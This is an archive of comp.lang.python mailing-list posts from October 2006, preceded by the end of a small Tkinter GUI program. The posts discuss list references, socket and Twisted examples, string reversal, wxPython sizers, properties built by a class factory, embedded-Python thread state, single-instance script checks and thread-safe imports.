step.append(mainframe.myCanvas.create_text(x, y, text = i + 1, fill = 'red', font = 'Simsun 12')) print done def openfile(): global mark global step global done global interator global mainname global beensaved if len(done) != 0 and beensaved == 0 and askyesno(u'??',u'?????????'): saveasfile() filename = tkFileDialog.askopenfilename(filetypes = ['* {.txt}'], initialdir = './') if filename: beensaved = 1 clean() openedfile = open(filename, 'r') openedfile.seek(0) filecon = openedfile.read() stringTocode(filecon) mainname = filename beensaved = 1 def info(): showinfo(u'??palala' ,u'For my sweat heart azalea\n\n??: Jason @ 2006.10\n\n??: Python\n\nVersion: 1.0\n\n????\n\n\ ????????\n\n????????\n\nfs.Jason at gmail.com) def info_blank(): showinfo(u'-,-',u'??????') def copy(): if done == []: info_blank() return s = '' for i in range (0,len(done) - 1): s = s +str(done[i][0]) + str(done[i][1]) + '\n' s = s + str(done[len(done) - 1][0]) + str(done[len(done) - 1][1]) root.clipboard_clear() root.clipboard_append(s) def clean(): global done global beensaved global mark global step global interator if len(done) != 0 and beensaved == 0 and askyesno(u'??',u'?????????'): saveasfile() for i in range (0, interator): mainframe.myCanvas.delete(mark[i]) mainframe.myCanvas.delete(step[i]) mark = [] step = [] done = [] interator = 0 beensaved = 1 def paste(): global pastes global done global beensaved if len(done) != 0 and beensaved == 0 and askyesno(u'??',u'?????????'): saveasfile() beensaved = 1 clean() win32clipboard.OpenClipboard(0) i = win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT) if i == 0: return pastes = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() stringTocode(pastes) beensaved = 0 def Help(): showinfo(u'??',u'1.?????\n\n2.??PALALA\n\n3.?????\n\n4.?????\n\nps:??????,?????????^^') #def crazy(): # os.system('C:\\WINDOWS\\system32\\debug.exe < .\tcl\code.txt') open_button = Button(button_frame, text = u'??', padx=2,pady=2,command = openfile ) open_button.config(font=('Simsun', 10)) open_button.pack(side = LEFT) save_button = Button(button_frame,text = u'??',padx=2,pady=2, command = savefile ) save_button.config(font=('Simsun', 10)) save_button.pack(side = LEFT) saveas_button = Button(button_frame, text = u'??',padx=2,pady=2, command = saveasfile) saveas_button.config(font=('Simsun', 10)) saveas_button.pack(side = LEFT) clipboard_button = Button(button_frame, text = u'??',padx=2,pady=2, command = copy) clipboard_button.config(font=('Simsun', 10)) clipboard_button.pack(side = LEFT) import_button = Button(button_frame, text = u'??',padx=2,pady=2, command = paste) import_button.config(font=('Simsun', 10)) import_button.pack(side = LEFT) cleanscreen_button = Button(button_frame, text = u'??',padx=2,pady=2, command = clean) cleanscreen_button.config(font=('Simsun', 10)) cleanscreen_button.pack(side = LEFT) info_button = Button(button_frame, text = u'??',padx=2,pady=2, command = info) info_button.config(font=('Simsun', 10)) info_button.pack(side = RIGHT) helpinfo = Button(button_frame, text = u'??',padx=2,pady=2, command = Help) helpinfo.config(font=('Simsun', 10)) helpinfo.pack(side = RIGHT) mainframe.myCanvas.bind('', clickevent) mainframe.myCanvas.bind('', undo) root.mainloop() From nurmi at dvo.ru Mon Oct 2 00:49:05 2006 From: nurmi at dvo.ru (E.Nurminski) Date: Mon, 2 Oct 2006 15:49:05 +1100 (VLAST) Subject: strange append Message-ID: Hello to all good people I am new to the great Py so am quite puzzled by the following code --------------- res = [] x = [ 1, 1 ] for i in xrange(0,5): res.append(x) x[1] = x[1] + 1 print "x = ", x print "res = ", res --------------- Looks like it puts smth like reference to 'x' into 'res' list, instead of value. But if I want a value should I use a different method or what ? Evgeni P.S. Could not easily find the issue in the manual/tutorial can you point me out to smth relevant ? From cameron.walsh at gmail.com Fri Oct 27 02:02:16 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Fri, 27 Oct 2006 14:02:16 +0800 Subject: Cards deck problem In-Reply-To: <1161926238.253178.29340@h48g2000cwc.googlegroups.com> References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> <1161926238.253178.29340@h48g2000cwc.googlegroups.com> Message-ID: mensanator at aol.com wrote: > Dennis Lee Bieber wrote: >> On Fri, 27 Oct 2006 03:48:25 GMT, Michael Naunton >> declaimed the following in comp.lang.python: >> >>> This may seem pendantic, but CS is mostly about thinking about (and thus >> Someday I should arrange to do a lost-wax casting of a >> /pendant/ with the definition of /pedant/ on it > > Why not a /pedant/ with a description of /pendant/ on it? > >> -- >> Wulfraed Dennis Lee Bieber KD6MOG >> wlfraed at ix.netcom.com wulfraed at bestiaria.com >> HTTP://wlfraed.home.netcom.com/ >> (Bestiaria Support Staff: web-asst at bestiaria.com) >> HTTP://www.bestiaria.com/ > As fun as it would be, I haven't found too many /pedants/ who want to have the definition of /pendant/ written on them. You've just given me an idea for an online T-Shirt printing business. Thank you, and your royalties will be in the post soon, just provide me with your credit card details. From istvan.albert at gmail.com Fri Oct 20 12:26:35 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 20 Oct 2006 09:26:35 -0700 Subject: invert or reverse a string... warning this is a rant References: <1161358037.736440.24010@h48g2000cwc.googlegroups.com> Message-ID: <1161361589.757562.243030@h48g2000cwc.googlegroups.com> Carl Banks wrote: > Say you're using a function from a third-party library that finds the > first character in a string that meets some requirement. You need to > find the last such character. You seem to imply that invoking a function on a reversed input is somehow a generic solution to the problem (finding first vs finding last) that you describe above above. That would be the exception rather than the rule. i. From bjobrien62 at gmail.com Thu Oct 5 10:01:50 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 5 Oct 2006 07:01:50 -0700 Subject: socket client server... simple example... not working... In-Reply-To: References: <1160015498.917617.256110@c28g2000cwb.googlegroups.com> Message-ID: <1160056909.927803.251790@i42g2000cwa.googlegroups.com> Jean-Paul Calderone wrote: > On 4 Oct 2006 19:31:38 -0700, SpreadTooThin wrote: > >client: > > > >import socket > >s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > >s.connect(("192.168.1.101", 8080)) > >print 'Connected' > >s.send('ABCD') > > Here you didn't check the return value of send to determine if all of the string was copied to the kernel buffer to be sent, so you may have only succeeded in sending part of 'ABCD'. > > >buffer = s.recv(4) > > in the above call, 4 is the maximum number of bytes recv will return. It looks as though you are expecting it to return exactly 4 bytes, but in order to get that, you will need to check the length of the return value and call recv again with a lower limit until the combination of the return values of each call gives a total length of 4. > > >print buffer > >s.send('exit') > > Again, you didn't check the return value of send. > > > > > > >server: > > > >serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > >serversocket.bind(("192.168.1.101", 8080)) > >serversocket.listen(5) > >print 'Listen' > >(clientsocket, address) = serversocket.accept() > >print 'Accepted' > >flag = True > >while flag: > > chunk = serversocket.recv(4) > > You're calling recv on serversocket instead of on clientsocket. You're also relying on recv to return exactly 4 bytes, which it may not do. > > > if chunk == '': > > raise RuntimeError, "socket connection broken" > > elif chunk == 'exit': > > flag = False > > else: > > serversocket.send(chunk) > > Another missing check of the return value of send. > > >print 'Done' > > > >Server says! > > > >Listen > >Accepted > >Traceback (most recent call last): > > File "server.py", line 11, in ? > > chunk = serversocket.recv(4) > >socket.error: (57, 'Socket is not connected') > > > > > >Client says: > >Connected > > > >What have I done wrong now! > > I recommend switching to Twisted. The Twisted equivalent (I guess - the protocol defined above is strange and complex (probably unintentionally, due to the things you left out, like any form of delimiter) and I doubt I really understand the end goal you are working towards), minus bugs (untested): > > # client.py > from twisted.internet import reactor, protocol > > class Client(protocol.Protocol): > buf = '' > def connectionMade(self): > self.transport.write('ABCD') > def dataReceived(self, data): > self.buf += data > if len(self.buf) >= 4: > reactor.stop() > > protocol.ClientCreator(reactor, Client).connectTCP('192.168.1.101', 8080) > reactor.run() > > # server.py > from twisted.internet import reactor, protocol > > class Server(protocol.Protocol): > buf = '' > def dataReceived(self, bytes): > self.buf += bytes > exit = self.buf.find('exit') > if exit != -1: > self.transport.write(self.buf[:exit]) > self.buf = self.buf[exit + 4:] > reactor.stop() > else: > self.transport.write(self.buf) > self.buf = '' > > f = protocol.ServerFactory() > f.protocol = Server > reactor.listenTCP('192.168.1.101', 8080, f) > reactor.run() > > Hope this helps, > > Jean-Paul Jean-Paul many thanks for this and your effort. but why is it every time I try to do something with 'stock' python I need another package? By the time I've finished my project there are like 5 3rd party add-ons to be installed. I know I'm a python newbie... but I'm far from a developer newbie and that can be a recipe for disaster. The stock socket should work and I think I've missed an obvious bug in the code other than checking the return status. From codecraig at gmail.com Mon Oct 30 15:40:22 2006 From: codecraig at gmail.com (abcd) Date: 30 Oct 2006 12:40:22 -0800 Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> <1162238656.661097.75180@f16g2000cwb.googlegroups.com> Message-ID: <1162240822.260735.316040@e64g2000cwd.googlegroups.com> > But one question that comes to mind is, do you not add sizerTextPanel to > sizerMainPanel? I think all sub-sizers should be added to the main > sizer, unless there's some weird reason I don't know of. well i set the sizer on the textPanel and then I add the textPanel to sizerMainPanel From sjmachin at lexicon.net Mon Oct 2 00:25:48 2006 From: sjmachin at lexicon.net (John Machin) Date: 1 Oct 2006 21:25:48 -0700 Subject: Problem with .next() method adding junk characters. In-Reply-To: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> Message-ID: <1159763148.568488.62270@m7g2000cwm.googlegroups.com> Rainy wrote: > Hi, > > I tried searching for this and did not find this issue. I only looked > at about dozen hits, I apologize if this is covered somewhere and I > missed it. Without much further ado, here's the thing (Win, Py2.5): > > >>> f = open('test', 'w') > >>> f.fileno() > 4 > >>> f.write('1\n') > >>> f.write('2\n3\n4\n') > >>> f.next() > > Traceback (most recent call last): > File "", line 1, in > f.next() > IOError: [Errno 9] Bad file descriptor This *should* complain that the file is not open for reading. What you see is an accidental error. message. When I tried it, I got no error, but it printed a few hundred bytes of garbage. In both your case and mine, it has also written a load of junk to the file! > >>> f.close() > >>> f = open('test') > >>> f.next() > '1\n' > >>> f.next() > '2\n' > >>> f.next() > '3\n' > >>> f.next() > '4\n' > >>> f.next() > '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 > ...many more lines of junk...' Junk was written to the file earlier. > > I understand that you're not > supposed to call .next on a file open for writing. Indeed. However if you mess up, Python is supposed to give you a meaningful error message and not write gibberish to your file. Please report it as a bug. Cheers, John From deets at nospam.web.de Fri Oct 13 21:05:29 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sat, 14 Oct 2006 03:05:29 +0200 Subject: SOAPpy and callback In-Reply-To: References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> <_8NXg.46981$DU3.27448@tornado.texas.rr.com> <4p9r78Fi2olfU1@uni-berlin.de> Message-ID: <4parepFho4q7U1@uni-berlin.de> > I like your term "standard-wise". Although there is nothing in the SOAP > "standard" that prevents this architecture, it is probably open for > discussion whether it is "wise." Might stem from "standardweise", the german word for something that is part of a standard, or e.g. something always having this or that feature. > As it happens, the client and server *don't* share the same process space - > they don't even share the same computer. > > And it *does* work, I'm running the software on a couple of systems in my > office right now. Maybe we have a misunderstanding here. I'm not a native speaker, so bear with me. In CORBA or RMI, there is a notion of an object/interface reference passed around, which allows for callbacks in a natural way. Which is AFAIK not the case in SOAP. Hell, they don't even know objects and stateful connections... That you obviously can define a system that needs several SOAP servers to interact with each other - well, you could also perform inter process communication using printed documents, some horses and either OCR or data typists. But this isn't exactly inter process communication in my book, albeit there certainly _are_ processes, _and_ communication :) Diez From simon at brunningonline.net Fri Oct 20 13:58:19 2006 From: simon at brunningonline.net (Simon Brunning) Date: Fri, 20 Oct 2006 18:58:19 +0100 Subject: invert or reverse a string... warning this is a rant In-Reply-To: <1161362095.822361.159160@b28g2000cwb.googlegroups.com> References: <7iNZg.117$1n3.3352@news.tufts.edu> <1161362095.822361.159160@b28g2000cwb.googlegroups.com> Message-ID: <8c7f10c60610201058u60c3e4c1h3bf343e13cbcdd67@mail.gmail.com> On 20 Oct 2006 09:34:55 -0700, Istvan Albert wrote: > Yes, that's where the big bucks are, the Palindrome Industry. > > It is the shortsightedness of the Python core developers that keeps the > palindrome related functions and algorithms out of the standard library +1 QOTW -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From jstroud at mbi.ucla.edu Tue Oct 17 23:36:23 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Wed, 18 Oct 2006 03:36:23 GMT Subject: creating many similar properties In-Reply-To: References: Message-ID: Lee Harr wrote: > I understand how to create a property like this: > > class RC(object): > def _set_pwm(self, v): > self._pwm01 = v % 256 > def _get_pwm(self): > return self._pwm01 > pwm01 = property(_get_pwm, _set_pwm) > > > But what if I have a whole bunch of these pwm properties? > > I made this: > > class RC(object): > def _makeprop(name): > prop = '_%s' % name > def _set(self, v): > v_new = v % 256 > setattr(self, prop, v_new) > def _get(self): > return getattr(self, prop) > return property(_get, _set) > > pwm01 = _makeprop('pwm01') > pwm02 = _makeprop('pwm02') > > > Not too bad, except for having to repeat the name. > > I would like to just have a list of pwm names and > have them all set up like that. It would be nice if > each one was set to a default value of 127 also.... > > Any thoughts? > > Thanks for your time. You want a "class factory". This can either be the esoteric "metaclass" (using "type"), which one can only understand for moments at a time, or something more grounded in intuition, or, a combo (for fun). You can probably tighten this a little, but this is the idea: def c_factory(cname, pname, num, modulus, default): def accessorize(prop): def _get(self): return getattr(self, prop) def _set(self, v): v_new = v % modulus setattr(self, prop, v_new) return (_get, _set) def _init(self): for i in xrange(num): setattr(self, '%s%s' % (pname,i), default) _C = type(cname, (object,), {'__init__':_init}) for i in xrange(num): prop = '_%s%s' % (pname, i) setattr(_C, '%s%s' % (pname, i), property(*accessorize(prop))) return _C E.g.: py> def c_factory(cname, pname, num, modulus, default): ... def accessorize(prop): ... def _get(self): ... return getattr(self, prop) ... def _set(self, v): ... v_new = v % modulus ... setattr(self, prop, v_new) ... return (_get, _set) ... def _init(self): ... for i in xrange(num): ... setattr(self, '%s%s' % (pname,i), default) ... _C = type(cname, (object,), {'__init__':_init}) ... for i in xrange(num): ... prop = '_%s%s' % (pname, i) ... setattr(_C, '%s%s' % (pname, i), property(*accessorize(prop))) ... return _C ... py> Bob = c_factory('Bob', 'bob', 4, 256, 128) py> b = Bob() py> b.bob0 128 py> b.bob1 128 py> b.bob1 = 258 py> b.bob1 2 py> b.bob3 128 py> dir(b) ['__class__', '__delattr__', '__dict__', '__doc__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__str__', '__weakref__', '_bob0', '_bob1', '_bob2', '_bob3', 'bob0', 'bob1', 'bob2', 'bob3'] py> Bob -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From Roka100 at gmail.com Tue Oct 10 04:08:32 2006 From: Roka100 at gmail.com (Jia Lu) Date: 10 Oct 2006 01:08:32 -0700 Subject: A curses-game I need help with. In-Reply-To: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> Message-ID: <1160467712.744953.55520@m7g2000cwm.googlegroups.com> > try: > import curses > except ImportError: > print "Missing the Curses-library." > print "Please install the curses-library correctly." > SystemExit ~~~~~~~~~ Does this work ? Maybe *raise SystemExit* ?? From SSchukat at dspace.de Tue Oct 24 07:05:09 2006 From: SSchukat at dspace.de (Stefan Schukat) Date: Tue, 24 Oct 2006 12:05:09 +0100 Subject: python thread state In-Reply-To: Message-ID: <1B3F2E002D9AD04BBC1A27B370F29EB9023126@exchange2003.dspace.de> For this use case the PyGILState API was introduced. e.g. try PyGILState_STATE state = PyGILState_Ensure() run python code PyGILState_Release(state) Stefan > -----Original Message----- > From: python-list-bounces+sschukat=dspace.de at python.org > [mailto:python-list-bounces+sschukat=dspace.de at python.org] On > Behalf Of Bryan > Sent: Monday, October 23, 2006 2:32 PM > To: python-list at python.org > Subject: python thread state > > hi, > > i'm trying to write a multithreaded embedded python > application and i'm having some trouble. i found this > article "embedding python in multi-threaded c/c++ > applications" in the python journal > (http://www.linuxjournal.com/article/3641) but there still > seems to be a step missing for me. > > each time a function in my c module is called, it's called on > a different c thread. i would then like to call a function > in an embedded python script. > from my understanding of the article, you can associate a > python script with a c thread by calling PyThreadState_New as > in this code: > > // save main thread state > PyThreadState * mainThreadState = NULL; > mainThreadState = PyThreadState_Get(); > PyEval_ReleaseLock(); > > // setup for each thread > PyEval_AcquireLock(); > PyInterpreterState * mainInterpreterState = > mainThreadState->interp PyThreadState * myThreadState = > PyThreadState_New(mainInterpreterState); > PyEval_ReleaseLock(); > > //execute python code > PyEval_AcquireLock(); > PyThreadState_Swap(myThreadState); > # execute python code > PyThreadState_Swap(NULL); > PyEval_ReleaseLock(); > > > unfortunately, this doesn't work for me because each time i > get called to execute python code, i'm in a new c thread and > PyThreadState_Swap seems to want to be executed in the same c > thread that PyThreadState_New was executed in. if this isn't > the case, please let know. > > i then called PyThreadState_New each time i wanted to call a > python function in the script, but PyThreadState_New wipes > out, or rather gives you a new global dictionary, because i > lost all my global variables. the article assumes you have > one c thread per python thread state, but i want multiple c > threads per python thread state. Is there a c api function > that will associate a c thread without resetting the global > dictionary? > > thank you, > > bryan > > -- > http://mail.python.org/mailman/listinfo/python-list > From steven.bethard at gmail.com Wed Oct 25 18:04:34 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 25 Oct 2006 16:04:34 -0600 Subject: Is there a python development site for putting up python libraries that people might be interest in working on? In-Reply-To: References: Message-ID: Kenneth McDonald wrote: > I would like to avoid putting this up on sourceforge as I think it would > do much better at a site aimed specifically at Python development. I've been using python-hosting.com for the argparse module and found it to be a pretty good solution. They offer free Trac/Subversion hosting for any open-source Python projects: http://www.webfaction.com/freetrac Steve From hpsekhon at googlemail.com Mon Oct 2 06:11:45 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 11:11:45 +0100 Subject: Making sure script only runs once instance at a time. In-Reply-To: References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> Message-ID: <4520E5E1.3040409@googlemail.com> Fredrik Lundh wrote: > Hari Sekhon wrote: > > >> I'm not sure if that is a very old way of doing it, which is why I was >> reluctant to do it. My way actually uses the process list of the os >> (linux) and counts the number of instances. If it is more than 0 then >> another process is running and the script exits gracefully. >> > > the code that reliably identifies instances of a given program would be > interesting to see. > > >> Also, apart from the fact the using lockfiles feels a bit 1970s, I have >> > > found that in real usage of other programs within the company that use > > lockfiles, it sometimes causes a bit of troubleshooting time when > > it stops working due to a stale lockfile. > > to minimize that risk, store the pid in the lockfile (and preferrably > also the host name), and make sure that the program checks that the pid > is still active before it "stops working". > > > > How exactly do you check that the pid is still active in python? Is there a library or something that will allow me to manipulate system processes and listings etc the way everybody does in unix shells.... I'm a huge fan of shell so I've done my own thing which leans on shell as follows: import sys,commands,os scriptpath = sys.argv[0] scriptname = os.path.basename(scriptpath) number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc -l' % scriptpath) if number_procs > 1: print "There appears to be another %s process running." % scriptname print "Please do not run more than one instance of this program" print "Quitting for safety..." sys.exit(200) This works nicely for me. You might also want to add a bit of discrimination to the script (something along the lines of "get a decent os"...since this won't work on windows) import platform if platform.system() != 'Linux': print "Sorry but this program can only be run on Linux" sys.exit(201) #todo: should do a bit extra for our bsd cousins here.... Let me know if you think you have a better way. Please provide a code snippet if so. -h -------------- next part -------------- An HTML attachment was scrubbed... URL: From jeff at taupro.com Tue Oct 31 00:48:42 2006 From: jeff at taupro.com (jeff at taupro.com) Date: Mon, 30 Oct 2006 23:48:42 -0600 Subject: Talks at PyCon that Teach How to Be Better Programmers References: <7xmz7ld46v.fsf@ruckus.brouhaha.com> Message-ID: <87slh5xcg5.fsf@kim.timecastle.net> Paul Rubin <"http://phr.cx"@NOSPAM.invalid> writes: > "Robert Brewer" writes: >> 2. Dynamic languages naturally more lang-maven oriented? >> See http://osteele.com/archives/2004/11/ides > > Not sure what you mean by this, even after reading that (interesting) > article. These days Haskell (which has static types) seems to be all > the rage with language geeks. dynamic type != dynamic language Those are two orthogonal concepts. A dynamic language means introspection, the ability to modify itself at runtime, such as by creating new classes. Dynamic typing refers to whether a particular variable can change its type at runtime. Another dimension is whether typing is "strong" or "weak". Python is strongly typed in it does not implicitly change types for you, such as Perl's coercing numeric strings into actual integers to complete an addition operation. I led a discussion on these last month to a local user group. The slides are at: http://www.dfwuug.org/wiki/Main/PresentationSlides It was a vigorous discussion among programmers of several languages. ;-) -Jeff From email at christoph-haas.de Tue Oct 3 14:20:08 2006 From: email at christoph-haas.de (Christoph Haas) Date: Tue, 3 Oct 2006 20:20:08 +0200 Subject: Looping over a list question In-Reply-To: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> Message-ID: <200610032020.08856.email@christoph-haas.de> On Tuesday 03 October 2006 19:50, stephen at theboulets.net wrote: > I found myself writing: > > for f in [i for i in datafiles if '.txt' in i]: > print 'Processing datafile %s' % f > > but I was wishing that I could have instead written: > > for f in in datafiles if '.txt' in f: > print 'Processing datafile %s' % f What about: import glob for filename in glob.glob('*.txt'): print "Processing file", filename ... Christoph From martin at v.loewis.de Fri Oct 13 18:35:19 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Oct 2006 00:35:19 +0200 Subject: Big speed boost in os.walk in Python 2.5 In-Reply-To: <1160731646.651573.37150@i42g2000cwa.googlegroups.com> References: <1160731646.651573.37150@i42g2000cwa.googlegroups.com> Message-ID: <453014A7.9030004@v.loewis.de> looping schrieb: > Maybe this improvement could be backported in Python 2.4 branch for the > next release ? As Fredrik explains, this is probably the side-effect of a from-scratch rewrite of the relevant functions. Another (undesirable) side-effect is that the resulting binary won't work on Windows 95 anymore. So backporting it as-is is out of the question. However, even if the patch was improved to still work on W9x, and to not introduce the other behavioral changes that came with the rewrite, it still couldn't go into 2.4.x. Likely, 2.4.4 is the final 2.4 release, and the release candidate for that was already produced. Regards, Martin From hg at nospam.com Tue Oct 17 20:21:20 2006 From: hg at nospam.com (hg) Date: Tue, 17 Oct 2006 19:21:20 -0500 Subject: Python Web Site? In-Reply-To: <1161131153.484754.219230@m7g2000cwm.googlegroups.com> References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> <1161131153.484754.219230@m7g2000cwm.googlegroups.com> Message-ID: Eric_Dexter at msn.com wrote: > wxpython is down for me also it did work befour my job interview at > around noon central. It may have been my wx.grid question for my > project finaly did the system in. I followed all the directions but > can only post and get one responce and I can't respond to the questions > (I get no email so I can post replies) seems odd. (last couple of days > anyway) > > http://www.dexrow.com > > *% wrote: >> Is there a problem with the Python and wxPython web sites? I cannot >> seem to get them up, and I am trying to find some documentation... >> >> Thanks, >> Mike > I still do get mails from the list hg From fredrik at pythonware.com Tue Oct 10 04:20:18 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 10:20:18 +0200 Subject: does raw_input() return unicode? In-Reply-To: <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com> References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com> Message-ID: Theerasak Photha wrote: >>> So, does raw_input() ever return unicode objects and if >>> so, under what conditions? >> >> At the moment, it only returns unicode objects when invoked >> in the IDLE shell, and only if the character entered cannot >> be represented in the locale's charset. > > Why only IDLE? Does urwid or another console UI toolkit avoid this somehow? Martin was probably thinking of the standard distribution. The 2.3 note says that "raw_input() *can* return Unicode", not that it "should" or "must" do it. From __peter__ at web.de Thu Oct 19 12:52:40 2006 From: __peter__ at web.de (Peter Otten) Date: Thu, 19 Oct 2006 18:52:40 +0200 Subject: Can I use decorators to manipulate return type or create methods? References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> Message-ID: WakeBdr wrote: > I'm writing a class that will query a database for some data and return > the result to the caller. I need to be able to return the result of > the query in several different ways: list, xml, dictionary, etc. I was > wondering if I can use decorators to accomplish this. > > For instance, I have the following method > > def getUsers(self, params): > return users.query(dbc) > > To get the appropriate return types, I also have these methods. I have > these convenience methods for every query method in my class. > > def getUsersAsXML(self, params): > return self._toXML(self.getUsers(params)) > def getUsersAsDict(self, params): > return self._toDict(self.getUsers(params)) > def getUsersAsList(self, params): > return self._toList(self.getUsers(params)) > > Instead of creating these three methods for every query method, is > there a way to use decorators to manipulate the return type. I'd still > like to have the caller use getUsersAsXML, I just don't want to write > the AsXML methods for every query method. So the decorator would > essentially create the convenience methods instead of me coding them. > > One solution that I don't want to use is passing a variable into the > query method that determines the return type. This is what I don't > want to do. > def getUsers(self, params, returnType): > > Any ideas on how I can accomplish this? Here's an odd approach, entirely based on naming conventions: from operator import attrgetter class Composer(object): def __getattr__(self, name): prefix, delim, suffix = name.rpartition("_as_") if prefix and suffix: cls = self.__class__ inner = attrgetter(prefix) outer = attrgetter(delim + suffix) def wrapped(self, *args): return outer(self)(inner(self)(*args)) setattr(cls, name, wrapped) return getattr(self, name) raise AttributeError("sorry, no %r" % name) class A(Composer): def _as_xml(self, obj): return "as_xml(%s)" % (obj,) def _as_list(self, obj): return "as_list(%s)" % (obj,) def get_users(self): return "get_users()" class B(A): def _as_list(self, obj): return "AS_LIST(%s)" % (obj,) def get_artist_as_a_young_man(self, name): return "get_artist_as_a_young_man(name=%r)" % name if __name__ == "__main__": a = A() b = B() print a.get_users_as_list() print b.get_users_as_list() print a.get_users_as_xml() print b.get_artist_as_a_young_man_as_xml("James") print a.get_artist_as_a_young_man_as_xml("James") # AttributeError Peter From amk at amk.ca Mon Oct 9 11:20:13 2006 From: amk at amk.ca (A.M. Kuchling) Date: Mon, 09 Oct 2006 10:20:13 -0500 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> <1160400990.785258.17750@m73g2000cwd.googlegroups.com> Message-ID: On 9 Oct 2006 06:36:30 -0700, Paul Boddie wrote: > ... Meanwhile, despite the python.org codebase presumably running > various commercial sites, ... Nothing should have given you this impression! python.org's formatting is handled through a custom script called Pyramid, and if you poke around with enough determination you can find the SVN repository's URL. But it's never been released as a tarball, and isn't used by any other sites. As an experiment I tried formatting the python.org site using rest2web; that looks promising, if I ever figure out how sidebars work, and may someday replace Pyramid. --amk From scott.daniels at acm.org Sat Oct 7 13:35:13 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sat, 07 Oct 2006 10:35:13 -0700 Subject: Names changed to protect the guilty In-Reply-To: <1160201214.367444.250270@i42g2000cwa.googlegroups.com> References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160201214.367444.250270@i42g2000cwa.googlegroups.com> Message-ID: <4527dd4a$1@nntp0.pdx.net> John Machin wrote: > ... any function/method whose name begins with "has" or "is" > returns an honest-to-goodness actual bool (or what passed for > one in former times). True for 75% of the builtins: >>> import __builtin__ >>> sorted(nm for nm in dir(__builtin__) if nm.startswith('is') or nm.startswith('has')) ['hasattr', 'hash', 'isinstance', 'issubclass'] >>> [hasattr(type,'mro'), hash(123), isinstance(type, type), issubclass(type, type)] [True, 123, True, True] :-) --Scott David Daniels scott.daniels at acm.org From no-spam at no-spam-no-spam.com Tue Oct 31 06:05:08 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Tue, 31 Oct 2006 12:05:08 +0100 Subject: import in threads: crashes & strange exceptions on dual core machines In-Reply-To: <1162264611.252985.208010@m7g2000cwm.googlegroups.com> References: <1162264611.252985.208010@m7g2000cwm.googlegroups.com> Message-ID: Klaas wrote: > It seems clear that the import lock does not include fully-executing > the module contents. To fix this, just import cookielib before the What is the exact meaning of "not include fully-executing" - regarding the examples "import cookielib" ? Do you really mean the import statement can return without having executed the cookielib module code fully? (As said, a simple deadlock is not at all my problem) > threads are spawned. Better yet, use your own locks around the > acquisition of the opener instance (this code seems fraughtfully > thread-unsafe--fix that and you solve other problems besides this one). > thanks. I will probably have to do the costly pre-import of things in main thread and spread locks as I have also no other real idea so far. Yet this costs the smoothness of app startup and corrupts my believe in Python capabs of "lazy execution on demand". I'd like to get a more fundamental understanding of the real problems than just a general "stay away and lock and lock everything without real understanding". * I have no real explanation why the import of a module like cookielib is not thread-safe. And in no way I can really explain the real OS-level crashes on dual cores/fast CPU's. Python may throw this and that, Python variable states maybe wrong, but how can it crash on OS-level when no extension libs are (hopefully) responsible? * The Import Lock should be a very hard lock: As soon as any thread imports something, all other threads are guaranteed to be out of any imports. A dead lock is not the problem here. * cookielib module execution code consists only of definitions and of re.compile's. re.compile's should be thread safe? * the things in my code patter are function local code except "opener = urlcookie_openers.get(user)" and "urlcookie_openers[user] = opener" : Simple dictionary accesses which are atomic from all my knowledge and experience. I think, I have thought about enough, what could be not thread safe. The only questionable things have to do with rare change of some globals, but this has not at all to do with the severe problems here and could only affect e.g wrong url2_proxy or double/unecessary re-creation of an opener, which is uncritical in my app. I'm still puzzled and suspect there is a major problem in Python, maybe in win32ui or - no idea ... ? -robert ================================================================================== def f(): ... opener = urlcookie_openers.get(user) if not opener: import cookielib #<----1 cj=cookielib.CookieJar() #<----2 build_opener = urllib2.build_opener httpCookieProcessor = 